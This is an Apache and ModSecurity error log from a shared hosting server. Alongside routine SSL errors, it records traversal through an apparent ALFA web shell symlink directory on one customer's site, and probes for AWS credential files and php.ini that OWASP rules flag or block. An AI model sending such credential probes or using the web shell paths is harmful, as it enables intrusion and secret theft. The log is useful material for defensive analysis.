[Tue Oct 27 07:27:38.252557 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.218.103.254:17177] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:27:42.153539 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.87.95.7:39725] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:27:46.157318 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 54.85.7.119:42219] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:27:50.144381 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.194.165.45:4274] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:27:54.236692 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 34.202.88.37:24098] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:28:02.193147 2026] [ssl:error] [pid 3220898:tid 3220898] (5)Input/output error: [client 23.21.175.228:59856] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:28:06.240827 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.203.237.170:58422] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:28:06.348804 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 185.191.171.13:61804] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/red_zone
[Tue Oct 27 07:28:10.183898 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.6.5.24:11983] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:28:18.393693 2026] [core:error] [pid 3221566:tid 3221566] (13)Permission denied: [client 54.157.99.244:34418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:05.0/resource4_wc
[Tue Oct 27 07:28:26.505917 2026] [authz_core:error] [pid 3209616:tid 3209616] [client 146.148.22.15:37856] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 07:28:26.874542 2026] [authz_core:error] [pid 3209603:tid 3209603] [client 146.148.22.15:52188] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 07:28:30.165557 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.203.237.170:32634] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:28:46.156217 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 3.226.106.93:21321] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/tpm_tis/bind
[Tue Oct 27 07:29:04.828365 2026] [authz_core:error] [pid 3209601:tid 3209601] [client 45.138.12.32:12512] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 07:29:04.833333 2026] [authz_core:error] [pid 3219292:tid 3219292] [client 45.138.12.32:12514] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 07:29:08.494928 2026] [authz_core:error] [pid 3209601:tid 3209601] [client 45.138.12.32:12512] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 07:29:09.656936 2026] [authz_core:error] [pid 3219292:tid 3219292] [client 45.138.12.32:12514] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 07:29:11.115167 2026] [authz_core:error] [pid 3209603:tid 3209603] [client 45.138.12.32:7930] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 07:29:11.271019 2026] [authz_core:error] [pid 3201640:tid 3201640] [client 45.138.12.32:7946] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 07:29:13.112465 2026] [authz_core:error] [pid 3209603:tid 3209603] [client 45.138.12.32:7930] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 07:29:13.192565 2026] [authz_core:error] [pid 3201640:tid 3201640] [client 45.138.12.32:7946] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 07:29:13.637326 2026] [security2:error] [pid 3209603:tid 3209603] [client 45.138.12.32:7930] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "arg2.sherwinpinturas.com"] [uri "/wp/"] [unique_id "auCLCT4THoroSjopRdUACQAAAAE"]
[Tue Oct 27 07:29:13.637375 2026] [security2:error] [pid 3209603:tid 3209603] [client 45.138.12.32:7930] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "arg2.sherwinpinturas.com"] [uri "/wp/"] [unique_id "auCLCT4THoroSjopRdUACQAAAAE"]
[Tue Oct 27 07:29:18.150239 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 18.205.127.11:60279] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:29:38.177686 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 18.214.238.178:43518] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:29:42.127803 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 185.191.171.19:60080] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/free_calls
[Tue Oct 27 07:29:58.267765 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 3.214.176.44:31725] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:30:02.148467 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 18.213.240.226:36483] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:30:10.135550 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 44.221.105.234:18154] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:30:14.130883 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.232.102.111:43307] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:30:18.176658 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 34.231.156.59:48236] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:30:22.172245 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.219.81.66:9976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:30:30.370236 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 34.196.237.236:62889] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:30:58.141111 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 34.194.165.45:31288] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:31:10.157798 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.85.126.86:19772] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:31:14.182943 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.6.232.201:63135] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:31:18.141454 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.89.170.186:30370] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:31:22.300772 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 184.72.95.195:64088] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:31:26.324680 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.225.45.252:50392] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:31:34.201909 2026] [ssl:error] [pid 3221566:tid 3221566] (5)Input/output error: [client 107.23.62.75:52335] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:31:38.188643 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 98.82.40.168:9153] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:31:50.158391 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 44.206.93.215:6523] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:31:58.280946 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.1.106.130:4155] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:32:06.284060 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 98.83.94.113:31916] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:32:14.280057 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.202.233.37:2883] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:32:22.137989 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 44.206.93.215:36940] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:32:22.677025 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 85.208.96.194:10408] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:32:22.711140 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 85.208.96.194:10418] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:32:26.147326 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 23.23.99.55:9336] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:33:02.321562 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 3.221.222.168:37162] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:33:14.175735 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.71.203.206:29337] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:33:22.147499 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 100.28.133.214:35944] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:33:34.227320 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 44.215.210.112:62115] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:33:42.163581 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 35.174.253.85:48934] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:33:54.539139 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 100.29.107.38:40936] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:34:02.246156 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 3.213.106.226:8971] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:34:14.446666 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 18.214.251.19:62330] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:34:30.250479 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.156.248.117:38424] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:34:54.301192 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 34.199.252.22:60650] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:34:58.392910 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 3.210.114.189:45368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:1f/subsystem/devices/device:05/physical_node/resource0
[Tue Oct 27 07:35:02.541148 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 98.84.60.17:6728] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:35:20.227322 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 185.191.171.12:17088] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:35:21.450331 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 185.191.171.12:51310] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:35:26.559130 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 52.0.105.244:57713] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/device/subsystem/devices/device:04/physical_node/driver/remove_id
[Tue Oct 27 07:35:34.503700 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 3.232.82.72:25381] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:35:42.372753 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 18.215.49.176:53199] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty16/subsystem/ttyS3/iomem_base
[Tue Oct 27 07:35:46.372272 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 34.230.124.21:17708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:35:50.571959 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.193.2.57:52372] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:36:10.409736 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 35.169.119.108:23781] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:36:20.423807 2026] [security2:error] [pid 3219292:tid 3219292] [client 43.165.198.224:41542] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "auCMtG_oZ855J3-bmxEp6QAAAAY"]
[Tue Oct 27 07:36:26.498845 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.218.170.184:33508] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:36:30.768720 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 34.205.163.103:26678] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:36:34.795952 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 35.168.238.50:34182] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:36:42.479255 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 44.210.213.220:26931] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:36:46.516649 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 34.224.132.215:52766] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:36:50.761864 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 34.194.14.255:40632] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:36:55.540876 2026] [security2:error] [pid 3209603:tid 3209603] [client 185.191.171.13:55674] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/backup/YUM/"] [unique_id "auCM1z4THoroSjopRdUAHwAAAAE"]
[Tue Oct 27 07:36:55.540913 2026] [security2:error] [pid 3209603:tid 3209603] [client 185.191.171.13:55674] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/backup/YUM/"] [unique_id "auCM1z4THoroSjopRdUAHwAAAAE"]
[Tue Oct 27 07:36:58.797206 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 52.204.71.8:37800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/firmware_node/physical_node/subsystem/uevent
[Tue Oct 27 07:36:58.797635 2026] [security2:error] [pid 3209616:tid 3209616] [client 52.204.71.8:37800] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/firmware_node/physical_node/subsystem/uevent"] [unique_id "auCM2hpfUBgvi1kircRU6QAAABg"]
[Tue Oct 27 07:36:58.797669 2026] [security2:error] [pid 3209616:tid 3209616] [client 52.204.71.8:37800] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/firmware_node/physical_node/subsystem/uevent"] [unique_id "auCM2hpfUBgvi1kircRU6QAAABg"]
[Tue Oct 27 07:37:07.551948 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.206.65.8:57209] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:37:10.563898 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 44.212.131.50:37665] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:37:14.766843 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.204.12.115:42405] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:37:21.880592 2026] [security2:error] [pid 3209616:tid 3209616] [client 144.172.106.107:46554] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auCM8RpfUBgvi1kircRU6gAAABg"]
[Tue Oct 27 07:37:30.700225 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.231.193.38:14805] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:37:38.615288 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 18.207.79.144:40125] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:37:46.628100 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 18.209.201.119:19654] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:37:58.756520 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 52.1.106.130:56559] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/0000:00:03.0/rescan
[Tue Oct 27 07:38:02.936929 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 34.195.248.30:58230] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:38:22.996480 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 98.83.10.183:56533] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/cpu1/driver/cpu1/driver/uevent
[Tue Oct 27 07:38:26.930057 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 54.159.18.27:40180] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:38:30.912339 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 44.218.6.93:52203] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:38:38.783384 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 18.215.112.101:53602] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:38:58.824027 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.235.158.162:14024] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:39:03.258391 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 23.21.225.190:15309] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:39:22.871835 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.156.124.2:35342] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:39:39.099132 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 50.19.102.70:53823] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:39:42.780783 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 85.208.96.207:52316] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:39:47.147345 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.225.199.17:16930] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:39:55.298471 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.221.222.168:41143] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:40:11.266609 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 34.224.132.215:28686] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/button/uevent
[Tue Oct 27 07:40:24.249667 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.195.145.102:33046] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:40:31.272213 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 54.166.104.83:15110] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/0000:00:03.0/remove
[Tue Oct 27 07:40:35.238158 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.91.122.193:17415] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:40:39.345469 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 18.205.127.11:34847] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:40:47.299995 2026] [ssl:error] [pid 3209601:tid 3209601] (5)Input/output error: [client 98.83.8.142:61379] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:40:55.345655 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 54.235.191.179:38228] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:40:59.449865 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.159.98.248:39798] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:41:15.681764 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.3.156.186:60508] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:41:19.454709 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 107.20.25.33:28424] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:41:27.419576 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.205.163.103:43975] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:41:31.760166 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 34.205.170.13:2896] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:41:39.509951 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.207.47.227:20512] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:41:44.052309 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 35.169.119.108:10720] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:41:47.546336 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 100.29.107.38:9107] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:41:51.498806 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 3.221.156.96:60794] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:41:55.614267 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 98.83.226.125:31880] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 07:42:01.400033 2026] [authz_core:error] [pid 3201640:tid 3201640] [client 34.62.189.80:33216] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 07:42:01.725066 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auCOCRpfUBgvi1kircRU-wAAABg"]
[Tue Oct 27 07:42:01.725315 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auCOCRpfUBgvi1kircRU-wAAABg"]
[Tue Oct 27 07:42:01.725664 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.aws/.env"] [unique_id "auCOCRpfUBgvi1kircRU-wAAABg"]
[Tue Oct 27 07:42:01.835335 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "ns2.sherwinpinturas.com"] [uri "/.aws/credentials.bak"] [unique_id "auCOCY0JjhEi1NzVi4XrvAAAAAc"]
